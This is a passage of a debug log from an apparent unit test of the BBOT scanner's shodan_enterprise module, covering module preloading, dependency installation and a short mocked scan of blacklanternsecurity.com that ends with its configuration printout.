modules.py:152 Preloading wafw00f from cache +2026-02-27 19:11:43,511 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:11:43,512 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:11:43,517 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:11:43,518 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:11:43,519 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:11:43,519 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:11:43,520 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:11:43,521 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:11:43,522 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:11:43,523 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:11:43,523 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:11:43,524 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:11:43,525 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:11:43,526 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:11:43,526 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:11:43,527 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:11:43,528 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:11:43,529 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:11:43,529 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:11:43,530 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:11:43,530 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:11:43,531 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:11:43,531 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:11:43,532 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:11:43,533 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:11:43,533 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:11:43,534 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:11:43,535 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:11:43,535 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:11:43,537 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:11:43,538 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:11:43,538 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:11:43,539 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:11:43,540 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:11:43,541 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:11:43,542 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:11:43,542 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:11:43,543 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:11:43,544 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:11:43,544 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:11:43,545 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:11:43,545 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:11:43,546 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:11:43,547 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:11:43,547 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:11:43,548 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:11:43,548 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:11:43,549 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:11:43,549 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:11:43,550 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:11:43,550 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:11:43,551 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:11:43,552 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:11:43,552 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:11:43,553 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:11:43,554 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:11:43,555 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:11:43,555 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 19:11:43,556 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:11:43,556 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:11:43,557 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:11:43,557 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:11:43,558 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:11:43,558 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:11:43,559 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:11:43,560 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:11:43,561 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:11:43,561 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:11:43,562 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:11:43,563 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:11:43,563 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:11:43,563 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:11:43,564 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:11:43,565 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:11:43,565 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:11:43,566 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:11:43,566 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:11:43,567 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:11:43,568 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:11:43,568 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:11:44,937 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:11:44,937 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:11:44,938 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:11:45,080 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:11:45,675 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:11:45,675 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:11:45,675 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:11:45,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:11:45,899 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:11:45,900 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:11:46,008 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:11:46,008 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:11:46,057 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:11:46,060 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:11:46,061 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:11:46,682 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:11:46,682 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:11:49,682 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:11:49,683 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:11:49,683 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:11:51,629 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:11:51,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:11:51,635 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:11:51,635 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:11:51,636 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:11:51,636 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:11:51,641 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/y81czify49kf9myi9fji +2026-02-27 19:11:52,704 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:11:52,706 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:11:52,706 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:11:52,706 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:11:52,707 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:11:52,829 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:11:52,829 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:11:52,829 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:11:52,832 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:11:52,832 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:11:52,832 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:11:52,833 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:11:52,834 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:11:52,834 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:11:52,834 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:11:52,839 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:11:52,841 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:11:52,841 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:11:52,841 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 19:11:52,841 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:11:52,844 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 19:11:52,990 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_q8s6vudj9t +2026-02-27 19:11:52,990 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 19:11:53,097 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 19:11:53,097 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 19:11:53,097 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 19:11:53,099 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) +2026-02-27 19:11:53,199 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) passed post-check +2026-02-27 19:11:53,200 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) +2026-02-27 19:11:53,202 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) in-scope because its main host matches the scan target +2026-02-27 19:11:53,203 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'domain', 'in-scope'}) +2026-02-27 19:11:53,204 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:11:53,205 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'domain', 'in-scope'}) passed post-check +2026-02-27 19:11:53,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'domain', 'in-scope'}) +2026-02-27 19:11:53,208 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 19:11:53,210 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,211 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:11:53,212 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,214 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,214 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 19:11:53,220 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 19:11:53,221 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) +2026-02-27 19:11:53,221 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) passed post-check +2026-02-27 19:11:53,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) +2026-02-27 19:11:53,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) +2026-02-27 19:11:53,223 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) because precheck succeeded +2026-02-27 19:11:53,300 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 19:11:53,301 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:11:53,302 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) from TARGET +2026-02-27 19:11:53,302 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) passed post-check +2026-02-27 19:11:53,303 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 19:11:53,303 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 19:11:53,304 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 19:11:53,304 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 19:11:53,305 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 19:11:53,305 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 19:11:53,306 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 19:11:53,306 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 19:11:53,406 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 19:11:53,407 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 19:11:53,425 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 19:11:53,426 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 19:11:53,426 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 19:11:53,440 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 19:11:53,441 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 19:11:53,442 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 19:11:53,443 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 19:11:53,443 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 19:11:53,444 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:11:53,557 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_q8s6vudj9t completed in 0 seconds with status FINISHED +2026-02-27 19:11:53,557 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 19:11:53,558 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:11:53,559 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 19:11:53,559 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_enterprise_test_q8s6vudj9t', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_q8s6vudj9t', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 